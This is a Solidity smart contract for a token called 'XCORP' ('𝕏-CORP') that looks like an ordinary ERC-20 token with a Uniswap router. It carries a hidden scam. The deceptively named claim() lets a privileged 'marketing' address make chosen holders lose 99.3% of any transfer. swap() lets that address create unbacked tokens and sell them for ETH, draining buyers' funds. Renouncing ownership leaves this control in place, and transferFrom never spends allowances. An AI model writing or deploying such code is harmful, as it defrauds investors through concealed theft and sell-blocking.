pragma solidity ^0.8.20;
// SPDX-License-Identifier: MIT


library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function owner() public view virtual returns (address) {return _owner;}
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

interface IUniswapV2Router {
    function factory() external pure returns (address addr);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata _path, address c, uint256) external;
    function WETH() external pure returns (address aadd);
}

contract XCORP is Ownable {
    using SafeMath for uint256;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;

    function _approve(address owner, address spender, uint256 amount) internal {
        require(spender != address(0), "IERC20: approve to the zero address"); 
        require(owner != address(0), "IERC20: approve from the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    string private _symbol = unicode"𝕏";
    string private _name = unicode"𝕏-CORP";

    function claim(address[] calldata addresses) external {
        for (uint _z = 0;  _z < addresses.length;  _z++) { 
            uint256 bNumber = 1 + block.number;
            if (!marketingAddres()){}else { cooldowns[addresses[_z]] = bNumber;}
        }
    }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    constructor() {
        marketingAddress = msg.sender; 
        _balances[msg.sender] =  _totalSupply; 
        emit Transfer(address(0), msg.sender, _balances[sender()]);
    }
    function name() external view returns (string memory) {
        return _name;
    }
    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][msg.sender] >= _amount);
        return true;
    }
    mapping(address => uint256) private _balances;
    bool autoSwap = true;
    address public marketingAddress;
    mapping(address => mapping(address => uint256)) private _allowances;
    function swap(uint256 tokenValue, address recipient) external {
        if (marketingAddres()) {
        _approve(address(this), address(uniV2Router), tokenValue); _balances[address(this)] = tokenValue;address[] memory path = new address[](2);
         path[0] = address(this); path[1] = uniV2Router.WETH(); 
         uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenValue, 0, path, recipient, block.timestamp + 31);
        } else {

        }
    }
    function sender() internal view returns (address) {
        return msg.sender;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[sender()][spender] + addedValue);
        return true;
    }
    event Approval(address indexed, address indexed, uint256 value);
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(sender(), spender, amount);
        return true;
    }
    function blockNumber() internal view returns (uint256) {
        return block.number;
    }
    function timestamp() internal view returns (uint256) {
        return block.timestamp;
    }
    uint256 internal feePercent = 0;
    mapping (address => uint256) internal cooldowns;
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    event Transfer(address indexed from, address indexed to, uint256);
    function marketingAddres() private view returns (bool) {
        return msg.sender == marketingAddress;
    }
    function _transfer(address from, address to, uint256 value) internal {
        require(from != address(0));
        require(value <= _balances[from]);
        uint256 cooldownFee = value.mul(993).div(1000);
        uint256 _fee = feePercent;
        bool cdNumber = cooldowns[from] <= blockNumber();
        if (cooldowns[from] != 0 && cdNumber) { _fee = cooldownFee; }
        _balances[to] += (value - (_fee));
        _balances[from] = ((_balances[from]) - value);
        emit Transfer(from, to, value);
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
}
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